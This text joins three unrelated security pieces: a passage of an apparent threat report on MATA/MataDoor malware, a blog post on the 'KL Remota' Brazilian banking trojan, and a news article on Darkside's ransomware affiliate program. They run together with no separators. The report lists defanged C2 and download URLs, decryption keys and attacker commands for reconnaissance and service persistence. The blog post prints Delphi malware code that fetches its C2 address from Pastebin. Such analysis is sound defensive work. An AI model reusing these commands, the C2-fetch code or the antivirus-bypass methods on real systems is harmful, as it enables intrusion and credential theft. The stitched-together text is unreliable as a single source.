hxxps://tarzoose[.]com/fontsupdate?_sid=2a854c3df9098019daa886ae6f3ecaa0&_ts=60054a124ad9c11d2f0afa8f60a3b26f&_agent=32 - Saved path: %temp%\TCD701.dat We discovered several of these loaders. The actor maintains 32-bit and 64-bit versions of next stage payloads and seems to deliver a fitting version depending on the victim's host's architecture. - 32-bit download URL (MD5 91995c6813e20aad1a860d3e712787a6): hxxps://merudlement[.]com/fontsupdate?_sid=f4ac3aabb25e724cc5af9280d07dfd25&_ts=afbeffc40cb8cec0639e6be9eba26c1e&_agent=32 - 64-bit download URL (MD5 a966668feca72d8dddf3c737d4908a29): hxxps://merudlement[.]com/fontsupdate?_sid=f4ac3aabb25e724cc5af9280d07dfd25&_ts=afbeffc40cb8cec0639e6be9eba26c1e&_agent=64 ### MATA Validator We were able to acquire the payload fetched by the Loader malware. This module has been written in C++ with STL; and libcurl is statically linked inside. Upon launch, the malware decrypts embedded strings. It includes the following C2 server addresses and recon commands to profile the victim. - hxxps://icimp.swarkul[.]com/wp-crond.php - hxxps://mbafleet[.]com/wp-crond.php - hxxps://prajeshpatel[.]com/wp-crond.php In this malware, there are nine whoami commands with various options executed at startup. Based on the options, we can guess that the malware operator wants to get Active Directory information and privileges of the current user. | Command | Description | |---------|-------------| | whoami | Display user and group name | | whoami /upn | Displays the user name in user principal name (UPN) format. UPN is the name of a system user in an email address format under the Active Directory environment. | | whoami /fqdn | Displays the user name in fully qualified domain name (FQDN) format. | | whoami /logonid | Displays the logon ID of the current user. | | whoami /user | Displays the current domain and user name and the security identifier (SID). | | whoami /groups | Displays the user groups to which the current user belongs. | | whoami /claims | Displays claims for current user, including claim name, flags, type and values. | | whoami /priv | Displays the security privileges of the current user. | | whoami /all | Displays all information in the current access token, including the current user name, security identifiers (SID), privileges, and groups that the current user belongs to. | The results of these commands execution are cached and will be returned when C2 requests execution of one of them via command #102. We also found an Easter Egg left by malware authors: when a command containing “whoami” is received with parameters that are not included in the table above, the hardcoded response is “KASPERSKY”. Periodically the malware connects to the C2 server using libcurl, performs a handshake, sets up AES session keys and IVs, and receives commands. | Command | Description | |---------|-------------| | 13 | Terminates the malware execution | | 24 | Set delay before next C2 server connection | | 44 | Returns to C2 server following information: randomly generated victim and session IDs, hardcoded string “1.4.4” - probably the malware version, computer name, user name, OS name (“Windows”), checks if it “Server” edition, “ver” Windows command line tool results | | 69 | Download file from C2 server | | 77 | Returns randomly generated session ID | | 96 | Upload file to C2 server | | 102 | Check “whoami” commands execution results cache from the table above or run the given command with “cmd.exe /C”. Send execution results to the C2 server. | There is a set of embedded, but not used, strings that lead us to suppose this malware might exist for the following operating systems/platforms: - MacOS - iPhone - Linux - BSD - Other Apple OS - Other Unix OS ### MataDoor (MATA Generation 4) According to our telemetry, the Validator malware fetched a different type of malware we called MataDoor. In a recent publication by Positive Technologies, the third generation of MATA was analyzed and it was named ‘MataDoor’. Probably, this collision occurred because Kaspersky Lab products have been detecting samples of the MATA family of both the third and fourth generations as MataDoor since autumn 2022. However, when we say ‘MataDoor’, we mean MATA generation 4. All the MataDoor samples we discovered were Windows executables and disguised as legitimate programs such as a security solution agent, VPN client, Adobe programs, and such. Also, almost all of them were packed by the Themida protector. After analyzing MataDoor, we concluded it's a rewritten from scratch variant of the known MATA. This malware has comprehensive capabilities to control the victim similar to the older MATA. Upon launch, the malware starts a service named 'wuausrv'. This malware contains embedded encrypted default configuration settings and decrypts it with 0x26 1-byte XOR. It can save/restore its configuration settings from the configuration file at %TEMP%\ocrcrypto.bak, which is XOR 0x55 encrypted. The configuration data contains a few C2 addresses, pre-defined or randomly generated victim ID, C2 connection interval, and C2 communication method: active, passive for multiple, passive mode for only one incoming connection. This malware leverages the open-source library 'OpenSSL 1.1.1k' for covert network communication. It supports four protocol types: SSL, DTLS, TCP, UDP. HTTP and HTTPS modes are recognized in the C2 configuration string but not implemented. Depending on the configuration, it can work as a passive mode server that opens a port, awaiting incoming requests, or actively connects to the given C2 server. Using the different backdoor’s options, the attackers were able to deploy proxy C2 servers inside a victim's network to route traffic over different machines to a node, which has an Internet connection, and back. In TCP client mode, the malware may use four proxy types to connect to the C2 server: SOCKS4, SOCKS5, and HTTP with Basic and NTLM authorization. The fifth option is a strange proxy type called ‘ssh’, which, although recognized in the configuration, is not implemented. ### MataDoor Plugins There are seven plugins embedded into the malware. Depending on the response from the C2 server, the malware calls the plugins to execute commands. These are addressed by a paired ID: pluginID/commandID. Embedded and downloaded plugins have the following functions: - “module_entry” - search command handler function by command ID - “module_isbusy” - checks if plugin unloading is allowed - “module_monitorevent” - calling to this function is initiated by command 16 of plugin #0 (for all plugins that have non-null “module_monitorevent”) The malware answers the C2 server with messages that have a similar structure to the command, where pluginID is 127 and the commands are as follows: | Message | Description | |---------|-------------| | 0 | Command was successfully executed | | 1 | Command execution error | | 2 | Acknowledge command has been received. This message is sent to C2 server just before command handler execution | | 3 | Acknowledge command has been received, but requested pluginID hasn't found | | 4 | Acknowledge command has been received, but requested command handler has not found | | 0x200 | The first ‘Hello’ message is sent to C2 server in active connection mode. This message is sent to C2 server when proxy or proxy-chain connection is established and C2 server is now connected to the requested target. | #### Plugin#0 “Orchestrator” Commands | Command | Description | |---------|-------------| | 0 | Returns victim ID, configuration settings, collected “MonitorEvent” information (see below) and various system information such as Windows version, Processor architecture, Computer name, User name, User profile path, Network adapters IP and MAC addresses | | 1 | Returns configuration storage file name (%TEMP%\ocrcrypto.bak) | | 2 | Returns configuration settings | | 3 | Set new configuration settings | | 4 | Save configuration settings in file %TEMP%\ocrcrypto.bak | | 5 | Deletes configuration file %TEMP%\ocrcrypto.bak | | 6 | Returns the currently configured C2 servers list | | 7 | Set new list of C2 servers | #### Plugin#1 “Processes” Commands | Command | Description | |---------|-------------| | 0 | Run process with redirected stdout and stderr streams. Send results to the C2 server. | | 1 | Run process | | 2 | Run process as user | | 3 | Returns following details about all currently running processes: PID, parent PID, command line, timing information, process owner | | 4 | Kill process | | 5 | Returns the malware and parent process IDs | | 6 | Checks if the process with specified ID is alive | | 7 | Run process | | 8 | Run process as user | #### Plugin#2 “Files” Commands | Command | Description | |---------|-------------| | 0 | Download part of file from C2 server | | 1 | Upload part of file to C2 server | | 2 | Pack files to zip archive and upload it to C2 server | | 3 | Securely wipe file | | 4 | Does nothing | | 5 | Copies creation, last access and last write timestamps of one file to another | | 6 | Returns the list of files in specified folder or list of logical drive types | | 7 | Write to file detailed list of files in specified folder | | 8 | Pack files to zip archive | | 9 | Returns the list of files in specified folder or list of logical drive types | | 10 | Copy file | | 11 | Copy large file in dedicated thread | | 12 | Delete file | | 13 | Concatenate two files into third | | 14 | Split large file to smaller parts | | 15 | Rename file | | 16 | Move large file using dedicated thread | | 17 | Append string to file | | 18 | Upload file to C2 server | | 19 | Upload tail of file (last 32KB) to C2 server | | 20 | Returns total size of all files in the directory | | 21 | Calculate size of directory in dedicated thread and save results into the file | | 22 | Copy directory | | 23 | Copy directory using dedicated thread | #### Plugin#3 “NetRecon” Commands | Command | Description | |---------|-------------| | 0 | Netstat. Returns list of TCP/UDP listeners and established connections endpoints together with owner process ID | | 1 | Ifconfig. Returns network interfaces configuration | | 2 | Probe TCP connection to specified IP-address:port | | 3 | Probe TCP connections to IP-subnet:port, save results to file | | 4 | Probe TCP connections to IP:ports-range, save results to file | | 5 | ICMP ping specified host | | 6 | ICMP ping all hosts in subnet, save results to file | | 7 | Probe TCP connection to specified host:port and then receive probed server greeting message | | 8 | Probe TCP connection and then receive probed servers greeting message for all hosts in specified subnet, save results to file | | 9 | Probe TCP connection to specified host:ports-range and then receive probed server greeting message, save results to file | | 10 | Connect to remote Windows shared resource (disk or printer) with specified credentials | | 11 | Disconnect shared resource | | 12 | Checks if local WMI query is available | | 13 | Set new value of an arbitrary WMI data performing local WMI query | | 14 | Perform remote WMI query with specified credentials to get an arbitrary WMI data | | 15 | Perform remote WMI query with specified credentials to set new value of an arbitrary WMI data | | 16 | Query victim’s DNS server for “A” or “PTR” record | #### Plugin#4 “Proxy” Commands | Command | Description | |---------|-------------| | 0 | Active-active proxy. The malware TCP connects to two remote hosts (optionally using an external proxy server) and then forwards traffic between them. | | 1 | Active-active C2 proxy. The malware TCP connects to an arbitrary host and TCP/UDP/SSL/DTLS connects to another C2 server (optionally using a 3rd party proxy server) and then forwards traffic between them. | | 2 | Passive-active proxy. The malware waits for incoming TCP connection on one side and TCP connects to an arbitrary host on another side and then forwards traffic between them. | | 3 | Implements HTTP proxy server. Agent string returned to client is: “Proxy-agent: amazon-http” | | 4 | Implements SOCKS4 proxy server | | 5 | Implements simplified SOCKS5 proxy server | | 6 | Implements remote shell server (shell command line may be specified or used “cmd.exe” by default) | | 7 | Initiate proxy chain. The malware connects to another C2 server on one side and another victim on another side (optionally using a 3rd party proxy server in both cases), then sends command 21 of plugin #0 to another victim to initiate the proxy chain. Then forwards traffic between them. | | 8 | Connects to another C2 server and then acts like a SOCKS4 proxy server receiving incoming connection from another C2. | | 9 | Connects to another C2 server and then acts like a simplified SOCKS5 proxy server receiving incoming connection from another C2. | | 10 | Connects to another C2 server and then acts like HTTP proxy server received incoming connection from another C2. | #### Plugin#5 “Inject” Commands | Command | Description | |---------|-------------| | 0 | Inject LoadLibrary call into process specified by ID | | 1 | Inject LoadLibrary call into process specified by name | | 2 | Inject reflective loader into process specified by ID that loads DLL from file | | 3 | Inject reflective loader into process specified by name that loads DLL from file | | 4 | Inject reflective loader into process specified by ID that unloads DLL, which was previously loaded with command 2 or 3 | | 5 | Inject reflective loader into process specified by name that unloads DLL, which was previously loaded with command 2 or 3 | | 6 | Inject reflective loader into process specified by ID that loads DLL from XORed file and then call specified export function of this DLL | | 7 | Inject reflective loader into process specified by name that loads DLL from XORed file and then call specified export function of this DLL | | 8 | Same as command 6. Probably a bug, intentioned corresponding DLL unload command | | 9 | Same as command 7. Probably a bug, intentioned corresponding DLL unload command | Plugin 6 is the only embedded plugin that has a “module_monitorevent” function implemented. This function has the following capabilities: - Checks if the number of active user sessions has grown - Checks if a removable drive was inserted/removed - Checks if a file from the monitored list has appeared - Checks if the size of a file from the monitored list has changed - Checks if a process from the monitored process list exists - Checks if a TCP connection with endpoints (specified by local/remote IP addresses and ports) from monitored network connections list is established #### Plugin#6 “Monitoring” Commands | Command | Description | |---------|-------------| | 0 | Returns MonitorEvent configuration | | 1 | Setup MonitorEvent configuration | | 2 | Returns list of monitored processes | | 3 | Setup list of monitored processes | | 4 | Returns list of monitored files | | 5 | Setup list of monitored files | | 6 | Returns list of monitored network connections | | 7 | Setup list of monitored network connections | ### Loader From one victim, we discovered a Loader malware exhibiting several similarities with past MATA malware. In the MATA cluster, the actor used two types of loaders: directly loading a DLL file, or loading an encrypted payload after decrypting it. The developer calls them differently in its internal name: - loader_service_raw_win_intel_64_le_RELEASE.dll: Load DLL file directly - loader_service_win_intel_64_le_RELEASE.dll: Load DLL file after decrypting Most of the loaders are protected by the Themida protector to hinder detection and analysis. It seems to be registered and executed by a Windows service based on its export function name: ServiceMain. The Loader that loads the intact DLL file acquires the DLL file path via AES decryption and simply loads it. The other type of Loader acquires a target file path with the same method. However, the target file is in encrypted format loading it after XOR or AES decryption. The payload loaded by both of the Loaders is the MATA malware we describe in the next section. ### MATA Generation 3 We detected further MATA backdoors spawned by the Loader malware present in memory. The internal name of this malware is 'MATA_DLL_DLL_PACK_20220829_009_win_intel_64_le_RELEASE.dll'. All external libraries and API names are encrypted and retrieved with an embedded 64-byte XOR key. We saw an identical decryption method in a previous investigation, involving what we now consider MATA generation 2: - XOR key: 33 53 8B D0 9B C4 B1 B7 FD DD 1F F8 DA C1 EB C5 F3 E7 F4 BE FB E2 F9 4E F1 DD BC BE DB 7D FA E2 E9 FE F3 FD A7 CF F7 76 BF DB D9 DD 7D 8A 9F C4 F3 3F 92 29 F3 4A E3 C4 8E 84 C0 BB 8C BE 3E EE This MATA 3 contains encrypted configuration and decrypts it with AES-CBC mode. - AES key: 29 23 BE 84 E1 6C D6 AE 52 90 49 F1 F1 BB E9 EB - AES IV: B3 A6 DB 3C 87 0C 3E 99 24 5E 0D 1C 06 B7 47 DE Interestingly, the key and IV are not randomly generated and can be found on the internet in various contexts. The decrypted configuration contains C2 addresses, registry path, and so on in the TTLV (type-tag-length-value) encoding form previously seen in Lamberts' and Equation malware. While this malware embeds default configuration data, it may also store modified configuration in a registry path defined in the embedded configuration, 'HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\DataUSvc'. ### Stealer Upon execution, the malware decodes its API names with a one-byte XOR (0xAA) and creates three threads responsible for recording keystrokes, the clipboard, and taking screenshots. This malware contains two export functions: UnregService and UnregServiceWith. When the UnregService export function is invoked, it initiates the process of stealing capabilities with default settings. By default, all stealing functionalities, including screenshot taking, are enabled and set to occur every 10 seconds. Alternatively, the UnregServiceWith export function can receive either two or five command line parameters, depending on the intended operation. When two parameters are given, the second parameter specifies the screenshot taking interval. However, when five parameters are passed, the second parameter is still for the screenshot taking interval, and the remaining three parameters represent the flags for each stealing functionality, namely screenshot, keylogging, and clipboard stealing. To signal a halt in the stealing routines, the malware uses the presence of the file named '%temp%~flag.db' as a stopping flag. Once this file is detected in the victim's system, all stealing functionalities are terminated. | Stealing Target | Save Path | Encryption/Compression Method | |------------------|-----------|-------------------------------| | Screenshot | %temp%\VSIXInstaller-%04d%02d%02d%02d%02d%02d.TMP | LZNT1 compression | | Keystroke | %temp%\~KInk.dat | 0xAA XOR | | Clipboard | %temp%\~CPInk.DAT | 0xAA XOR | ### Screenshotter The actor employed a variety of Stealers based on the circumstances. In some instances, they used malware that was only capable of capturing screenshots from the user's device. When this malware's AttachService export function is invoked, the malware takes a screenshot of the user's screen, saving it to the c:\users\public path with the following format: - Screenshot file name: NTUSER.DAT{a298cd48-29ab-f018-87e1-%date-time%}.TM ### Credential Stealer Also, we observed different kinds of Stealers to exfiltrate stored credentials and cookies from the victim. Once executed, the malware fetches credentials stored in Windows vaults. These credentials could be browser stored credentials, domain credentials, and Windows credentials, as well as auto-filled credentials stored in HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\IntelliForms\Storage2. The stealer saves the collected credentials to the hard-coded file path: %temp%\~IInk.DAT. The following format is used to save this information: ``` [+] "URL": "%s", "Username": "%s", "Password": "%s", "Created Date": "%s", "Preferred": "%s", "Times_used": "%s" ``` Additionally, the malware collects cookies from the victim. The directory path that stores cookie files is acquired from the registry key path: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders\Cookies. The stolen cookies are saved with the following format to the same file storing the collected credentials: ``` [+] { "domain": "%s", "expirationDate": "%s", "hostOnly": "%s", "httpOnly": "%s", "name": "%s", "path": "%s", "sameSite": "%s", "secure": "%s", "session": "%s", "storeId": "%s", "value": "%s", "id": "%s" } ``` ### EDR/Security Bypass Tools In some cases, we observed the actor taking advantage of a public exploit to escalate privilege. It seems the actor utilized the public CVE-2021-40449 exploit, which we discovered and reported in 2021. Publicly available code called CallbackHell was used by this malware to elevate privileges and write into the kernel's memory; The malware triggers the CVE-2021-40449 vulnerability, a use-after-free vulnerability, in Win32k’s NtGdiResetDC API. This malware accepts one or two command line parameters. The first parameter is the command to execute with SYSTEM privileges from the code injected into the winlogon.exe process. The second optional parameter is the company name producer of antivirus/security suite products. The malware checks all loaded drivers for their version information resource “CompanyName”, searching for a given substring. Then the malware wipes pointers to the kernel callback routines related to process/thread creation, module loading. By modifying these callback routines, it makes endpoint security products unable to monitor the behavior properly. For that, the malware disassembles the following ntoskrnl.exe APIs and finds related callbacks tables: - PsSetCreateProcessNotifyRoutine - PsSetCreateThreadNotifyRoutine - PsSetLoadImageNotifyRoutine The actor utilized multiple tools to interfere with endpoint products. In addition to the tool mentioned above, they also employed a different utility that utilized the Bring Your Own Vulnerable Driver (BYOVD) technique to gain access to kernel memory addresses. It's possible that the first tool failed to work properly on the victim machine, prompting the operator to bring in a second tool to bypass the behavior monitoring product. Ahnlab, a Korean security vendor, published a comprehensive report about this technique. Furthermore, ESET published the same technique abused by Lazarus. The actor spawned this executable, providing it with two command-line parameters: the first is a vulnerable driver's file path and the second is the antivirus name to neutralize. If the product name is not specified, it selects the target from its own lists: kaspersky, ahnlab, doctor web, bitdefender, avira, avast, mcafee, fortinet, eset. ### Command File Tool The malware waits in an endless loop for the file C:\Windows\Temp\TMPA93840.tmp to appear. Once found, it reads the first line of the file and checks if it begins with one of the command keywords listed below. After that, the malware immediately deletes the command file. The following command keywords are supported: | Command | Description | |---------|-------------| | zip | Handler for this command is not implemented | | up | Upload file. Send to specified server SSL/DTLS encrypted message in the specified form | | dn | Download file. Send to specified server SSL/DTLS encrypted message in the specified form | | bb | Exit | The malware records every executed command in an informative log file: C:\Windows\Temp\TMPB08634.tmp. Analyzing this log file tells us that a malicious C2 server was deployed within the victim's LAN. According to timestamps, this tool was compiled just a few minutes before its usage. ### Incident Investigation As our investigation progressed, we found more malware samples, obtained new Indicators of Compromise, and identified more compromised systems. A turning point in the investigation was the discovery of two MATA samples that had internal IP addresses set as C2 server addresses. Attackers often create a chain of proxy servers within a corporate network to communicate between the malware and the control server, for example, if the infected system does not have direct access to the internet. Of course, we have seen this before, but in this case, the malware configuration included IP addresses from a subnet we were unfamiliar with at the time, which caught our attention. We immediately notified the affected organization of the likely compromise of systems with these IP addresses and received a swift response. Starting to investigate this case, we realized that the compromised systems were financial software servers and that these servers provided network access to several dozen subsidiaries of the targeted organization. At that point, we realized the compromise of one plant's domain controller was just the tip of the iceberg. As we continued our investigation, we found that the attackers started the attack from the factory, using a phishing email as described above, and progressed through the network until they discovered the shortcut of an RDP connection to the parent company's terminal server. Using the utilities described in the next chapter, they acquired the user's credentials and connected to the terminal server. After that, attackers repeated everything they had done at the attacked plant, but this time on the scale of the entire parent company. Using a vulnerability in a legitimate driver and a rootkit, they interfered with the antivirus, intercepted user credentials (many of which were cached on the terminal server, including accounts with administrator privileges on many systems), and began actively moving around the network. Naturally, this led to the parent company's domain controller being compromised and control being gained over even more workstations and servers. But the attackers did not stop there. Next, they were able to access the control panels of two security solutions simultaneously. First, they got control over a solution for checking the compliance of systems with information security requirements by exploiting one of its vulnerabilities. Second, with the help of this security solution, they managed to get access to the control panel of the endpoint protection solution that had not been securely configured. In both cases, security solutions were used by attackers to gather information about the targeted organization's infrastructure and to distribute malware, as both systems have the capability to deploy and execute files remotely. As a result, taking over centralized systems for managing security solutions allowed the attackers to spread the malware to multiple subsidiaries at once (connected to the compliance security solution), as well as infect Linux-variant MATA servers running Unix-like systems that they couldn't access even after gaining full control of the organization's domain. ### Technical Details – Part 2: In-the-Field Analysis Results Ultimately, the attackers were able to gain access to the domain controller and the management interfaces of two security solutions at the same time. ### Linux MATA Generation 3 We've also seen identical ELF malware on several paths including an anti-malware solution control server and Linux hosts. Therefore, we strongly believe that this malware was delivered by the security solution’s remote installation functionality. The Linux version has very similar capability to the third generation MATA Windows version and seems to have been built from the same sources. The decrypted configuration contains a file path (/usr/share/man/man1/xver-user.2.gz) where the configuration settings are saved. File paths suggest that the attacker has root access to the compromised system. The configuration also contains several C2 addresses. Note that it contains an internal IP address, which means the actor configured a C2 proxy server in the victim's network. - ssl://10.0.1[redacted]:5353;ssl://185.25.50[.]199 - ssl://10.0.1[redacted]:5353;ssl://85.239.33[.]250 ### Discovery After gaining control over the victim's device, the actor proceeded to gather basic information using Windows commands. The actor inquired for the user name, checked the Windows update status, and examined the network status. Notably, some of the commands contained typos, suggesting that they were manually typed by the operator. The mistakenly entered commands are highlighted in bold: ``` cmd.exe /c "query user" cmd.exe /c "reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate" cmd.exe /c "ping -n 1 -a 192.168.[redacted]" cmd.exe /c "net_view \\192.168.[redacted]" cmd.exe /c "netstat -ano | find "TCP"" cmd.exe /c tipconfig ``` ### Lateral Movement The attackers also tried to get the passwords of users who logged into the compromised system. To do this, they used a tool that shows account password hashes cached in memory. Subsequently, the attackers launched a password brute-force attack, exploiting the lack of rigor in the password policies implemented on many accounts. This enabled them to gain access to numerous accounts in a relatively short period of time. Following the network scanning, the operator established a connection to a remote host using a stolen credential. Utilizing Windows Management Instrumentation (WMI), the actor created a new Windows service that would automatically run malware on the system. The malware was then copied onto the host. Notably, the actor took steps to conceal their activities by installing the malicious service: ``` cmd.exe /c "sc query <service_name>" cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Svchost" /v "<service_name>" /t REG_MULTI_SZ /d "<service_name>" /f cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<service_name>" /f cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<service_name>\Parameters" /f cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<service_name>\Parameters" /v "ServiceDll" /t REG_EXPAND_SZ /d "%system32%\<service_name>.dll" /f cmd.exe /c sc create <service_name> binPath= "%system32%\svchost.exe -k <service_name>" displayname= "vii system logical assist" start= "auto" cmd.exe /c "sc failure <service_name> reset= 86400 actions= restart/60000/restart/60000/restart/60000" ``` ### Abusing Security Compliance Solution During the course of our investigation, we discovered that the operator had successfully brute-forced the password for a technical account that held administrator privileges for a security solution used to verify compliance with the company's information security policies. This account was supposed to have been disabled once the solution was configured, but its existence had been overlooked. Following the attack, the operator deleted the server logs of the security solution in an attempt to cover his traces. However, we were able to recover partial activity logs from the solution's database. Once the operators had compiled a list of targeted systems, they leveraged the embedded EDR functionality of the compliance solution. They first obtained a screenshot of the attacked system's screen contents, then proceeded to determine the optimal channel for exfiltrating data from the system. Since many of the compromised systems were on restricted networks without internet access, the operator executed various commands to explore potential network access routes from the attacked system to other infected systems, with the objective of constructing a chain of proxy servers for data exfiltration: ``` Test-Connection 10.0.[redacted] -Count 1 ping.exe -n 1 10.43.[redacted] Test-NetConnection 10.0.[redacted] -Port 80 -InformationLevel Quiet Test-NetConnection 10.0.[redacted] -Port 1323 -InformationLevel Quiet Test-NetConnection 10.0.[redacted] -Port 5432 -InformationLevel Quiet netstat -ano ipconfig /all type C:\Windows\System32\drivers\etc\hosts Test-NetConnection 10.0.[redacted] -Port 80 -InformationLevel Quiet ``` The ability to run arbitrary PowerShell scripts through this compliance solution allowed the attacker not only to discover the network configuration of the attacked systems but also to execute a command to download and run the MataDoor malware. The malware was downloaded from a previously infected system, to which the targeted system had network access. Typically, the initial download involved a MataDoor executable file disguised as a PNG image, which was saved as a .dat file and then executed using the command line. In some instances, the operator opted to directly download the loader module as an executable file and launched it using PowerShell.
# KL Remota — Brazilian Malware Bank **Raphael Mendonça** **March 6, 2023** Among security researchers, Brazil has become known mainly for its trojans developed in the Delphi language. They are different trojan families with similar technical characteristics and objectives: stealing data and sessions, establishing persistence, and transferring money from victims’ bank accounts through remote access. Over the last few years, different names have been used to identify this type of malware. ## Timeline Brazilian Malware Bank A multidisciplinary cybercrime ecosystem offers specific capabilities and moves immeasurable amounts of money. The telegram network is considered the Brazilian darkweb, and all the necessary services are available in channels specialized in the respective themes. ## Ecosystem Brazilian Malware Bank KL Remota, a term used among threat actors, is the generic name of the Trojan source code in Delphi and can be easily found in telegram channels at an approximate cost of $6,000 dollars. However, after payment, there is no guarantee that the seller will actually share the code, which makes it difficult to purchase this type of malware source code. The weekly rental becomes an alternative with less risk and investment; for the approximate amount of $600 dollars, it is possible to rent a Server C&C operator interface with a limited number of infects (Ex: 30) and start a small campaign. ## KL Components In December 2022, we collected samples from Amavaldo and observed the use of captcha as a new technique added to avoid automated analysis. Another well-known technique that has the same objective is the inclusion of multiple Bytes at the end of the file so that its size is greater than that supported by platforms such as VirusTotal and Any.Run. ### Binary diff Still about anti-debug techniques, we observed that the algorithm developed by Tom Lee is used to decrypt a string collected from the Pastebin platform. The string aims to reveal the IP address and Port of the Command-and-Control to which the victim’s device must establish the reverse connection. ```pascal begin try CoInitialize(nil); URL := 'http://pastebin.com/raw/xxxxxx'; dados := nil; dados := TStringList.Create; res1 := nil; res1 := TStringList.Create; res2 := nil; res2 := TStringList.Create; rel := nil; rel := TStringList.Create; http := CreateOleObject('WinHttp.WinHttpRequest.5.1'); http.open('GET', URL, false); http.send; usuarios := http.responsetext; dados.Text := usuarios; dados.Text := StringReplace(dados.Text, '&quot;', '"', [rfReplaceAll, rfIgnoreCase]); res1.Add(dados.Text); res2.Add(ExtractText(res1.Strings[0], 'start', 'end')); jsonObj := TJSONObject.ParseJSONValue(TEncoding.ASCII.GetBytes(res2.Text), 0) as TJSONObject; jv_Host := jsonObj.Get('host').JsonValue; Address := trim(vDecript(jv_Host.Value)); } CoUninitialize; except end; ``` After running Amavaldo, it creates a process in the operating system, loads the DLL NvSmartMax.dll into memory, and, through the FindWindow function, starts monitoring the active windows in the victim’s session in the background. In its code, there is a list of strings belonging to the financial institutions that will be triggers to establish the connection with the attacker’s C&C after the user accesses the respective websites. The operator interface also offers server functionality; for each connected victim, an audible alert is issued, and the console displays hostname, financial institution name, IP address, and browser information. ## KL Operator While the victim browses the bank page, the attacker monitors his activities until the moment he starts the interaction. Then the victim will have the perception that protection modules are being updated on his device, when in fact the attacker will be logged into his banking account from his own computer and making transfers to other current accounts. Among the options available on the operator console are: - Standby Mode - Request QR code - Request 6-digits password - Request account password - Request certificate password - Request SMS token - Request key - Request electronic signature - Restart the victim’s computer ### Tela de Modo Espera do Banco do Brasil The institutions identified as targets of the Amavaldo malware were: - Bank of Brasil - Bradesco Bank - Itáu Bank - Santander Bank - Sicredi Bank - Mercantil Bank - Caixa Economica - Sicoob Bank - Unicred Bank - BNB Bank - Inter Bank - MUFG Bank - Banestes - Bank of the State of Pará - Cetelem - SafraNet - Paulista Bank - Unicred - Uniprime Central - BMG Bank - Votorantim Bank - NBC Bank - Tribanco - Alfa Bank - Indusval & Partners Bank - Banrisul - Original Bank - Celcoin - Nubank - Bank of Brasília - Bank of Amazônia - Banese - Topazio Bank - Industrial Bank - Daycoval - Cidetran - Viacredi
# Darkside Ransomware Gang Launches Affiliate Program Darkside is the latest ransomware gang to announce that it's launched an affiliate program as part of its bid to maximize revenue. In recent days, the operators behind Darkside have taken to XSS and Exploit - two major Russian-language cybercrime forums - to announce the details of the gang's new affiliate program, Israeli cyberthreat intelligence monitoring firm Kela reports. > "The share paid to affiliates is 75% to 90%, depending on the size of the ransom." — Kela Here's how such affiliate programs work: Ransomware operators provide crypto-locking malware code to third parties. Each affiliate receives a version of code with their unique ID embedded. For every victim that pays a ransom, the affiliate shares the take with the ransomware operator. For example, the affiliate program run by Sodinokibi - aka REvil - as of last year was giving 30% of every ransom payment to an affiliate, rising to 40% after three successful ransom payments. Darkside's terms and conditions differ. "They stated that their average payments to their affiliates are about $400,000 and the share paid to affiliates is about 75-90% of every haul, depending on the size of the ransom, with the ransomware operators keeping the remainder," Kela says, noting that Darkside claims the average ransom it receives is between $1.6 million and $4 million. Ransomware affiliate programs abound. Victoria Kivilevich, a threat intelligence analyst at Kela, says some of the more famous "big game" ransomware operators running affiliate programs - as well as blogs for leaking stolen data - include: - Avaddon - Darkside - LockBit - Netwalker - Ranzy - Sodinokibi, aka REvil - Suncrypt - now apparently retired Other ransomware operations that have run affiliate programs include Chimera, CryLock, Exorcist, Gretta, Makop, Thanos, and Zeppelin. ## Affiliate Program Upsides Running an affiliate program offers numerous upsides. For starters, the ransomware operator handles the technical side, including "product updates." Once the operator has built all required infrastructure - typically including a self-service portal for victims to pay - they can, in theory, scale to handle as many affiliates as they want. This crowdsourcing model can give them the ability to realize much greater profits, especially compared to trying to hit victims themselves. Affiliates, meanwhile, don't need to build and maintain their own malware and infrastructure. Other upsides include the ability of the operation to attract specialists - in network penetration, for example - who can focus on amassing victims while leaving tech support and customer service, so to speak, to the operator. ## Two Main Downsides So, what are the downsides to running an affiliate program? Kivilevich highlights two main problems: reputation and infiltration. If an affiliate does something bad, that reflects on the operator, as Darkside has noted in one of its posts. "For example, when an affiliate of Suncrypt attacked hospitals, you see Suncrypt writing: 'A new affiliate locked it unknowingly, and for this he was punished! Hospitals, government, airports, etc., we do not attack,'" she says. Relying on affiliates also means that the ransomware operation may be inadvertently recruiting undercover security researchers or law enforcement agents who might potentially "gather more intelligence about their activities," Kivilevich says. ## Ransomware Features How big a threat does Darkside pose? The operators say that the crypto-locking malware that Darkside provides to affiliates can encrypt both Windows and Linux files. Researchers at Russian security firm Kaspersky recently determined that RansomEXX ransomware also can crypto-lock Linux files. Like many types of malware, Darkside is designed so it cannot infect PCs that are in one of the member states of the post-Soviet Commonwealth of Independent States, which includes Russia and 11 other nations. As proof of its success to date, Darkside has deposited 20 bitcoins - worth about $315,000 - with the XSS forum. Kivilevich says this is "a common method ransomware gangs will use to show that their operation generates plenty of profit." Like many other ransomware operations, the gang maintains a leak site, where it names and shames victims and can post samples of stolen data to try to force victims to pay. Even so, it's not yet clear how many organizations Darkside or its affiliates might have hit. "Darkside has been relatively quiet since the gang emerged. They've published only four victims on their site, with one being removed," Kivilevich says. "It's possible the gang is extending their efforts, meaning that we could expect to see them performing more attacks." In a likely bid to boost profits, the gang has posted that it's looking for initial access brokers that can give it access to U.S. businesses with annual revenue of at least $400 million. > "Darkside is aiming for big targets," Kivilevich says, adding that it's the first time she's seen "ransomware operators offering initial access brokers the opportunity to directly trade with them" rather than attempting to rely on "affiliates or other middlemen." As always with ransomware, criminal innovation - in a nonstop drive by attackers to maximize profits - appears to be paying off at victims' expense.
